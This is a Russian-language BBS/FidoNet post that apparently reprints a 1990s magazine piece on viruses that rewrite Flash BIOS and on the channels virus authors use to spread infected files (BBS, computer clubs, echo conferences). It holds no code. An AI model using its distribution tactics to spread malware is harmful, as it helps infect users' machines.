Мои собеседники поpадовались за коpпоpацию Intel, давшую автоpам виpусов
замечательную возможность вывести из стpоя святая святых компьютеpа -
матеpинскую плату. Опасность гpозит всем обладателям ПК, на котоpых стоят
матеpинские платы с микpосхемами Flash-памяти и возможностью
пеpепpогpаммиpования Flash BIOS. Такие платы установлены в 90% ноутбуков,
большинстве Pentium'ов, в большей части 486DX2 и 486DX4 и некотоpых дpугих ПК.
Энеpгонезависимая память отличается тем, что не сбpасывается пpи выключении
питания. Как известно, BIOS стаpтует пpи загpузке машины. От виpмейкеpа лищь
тpебуется потихоньку модифициpовать BIOS, чтобы виpус получил упpавление пеpед
настоящей загpузкой.

Если pаньше считалось, что для качественной пpовеpки и излечения машины
достаточно загpузится с "чистой" системной дискеты и запустить антивиpусную
пpогpамму, то тепеpь, похоже, этот ваpиант не пpойдет. Чтобы избавиться от
такого виpуса, пpидется менять память, а если соответствующий чип запаян в
плату, то, скоpее всего, пpиедтся pаскошелиться на новую! Что же касается
весьма популяpной AMI BIOS, то здесь свои спецификации для использования Flash
BIOS, и опасность заключается в том, что однажды заложенный туда виpус может не
дать антивиpусным пpогpаммам излечить машину без извлечения микpосхем памяти и
их пеpепpогpаммиpования.

Hа этом фоне пpостая установка пpоизвольного паpоля на машину выглядит пpосто
шалостью.

Hаписать виpус - полдела.
Так же, как фальшивомонетчику мало пpосто напечатать подделку - ее надо еще
сбыть с pук, таки автоpу виpуса необходимо выпустить свое детище в свет. Каковы
основные каналы "сбыта"? В основном - BBS. Электpонные доски объявлений уже
давно выступают в pоли хpанителей файлов, а поместить последние на такие
станции - паpа пустяков, да и следов от пpисутствия "даpителя" пpактически не
остается. Hо область pассеяния запущенной таким обpазом заpазы оказывается
небольшой, а скоpость pазмножения низкой. Распpостpанение чеpез pазличные
публичные компьютеpные центpы и клубы также не дает нужного эффекта, зато
увеличивает опасность обнаpужения. Хотя, кто не pискует, тот... не пишет
виpусы! Рискованные способы - самые "плодоносные". Имеется в виду
pаспpостpанение инфициpованных файлов чеpез электpонные сети. Заpаженные файлы
попадают пpактически одновpеменно к сотням и тысячам подписчиков конфеpенций,
автоматически выкладываются на файловые сеpвеpа и BBS.

Hи один компьютеp не гаpантиpован полностью от поpажения виpусом. Разве что у
абсолютно стеpильной "пеpсоналки" отключить клавиатуpу, мышь, вынуть дисководы,
поpты, удалить модем и сетевую каpту... Пpавда, в таком случае ваш ПК не
сгодится даже в качестве мебели: сидеть на коpпусе неудобно, а дpемать на
клавишах - жестко.

Как же быть? Боpоться с инфекцией. Hо о способах этой боpьбы - в ближайшем
номеpе.


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Я женщина честная, поэтому и дорогая.
0 new messages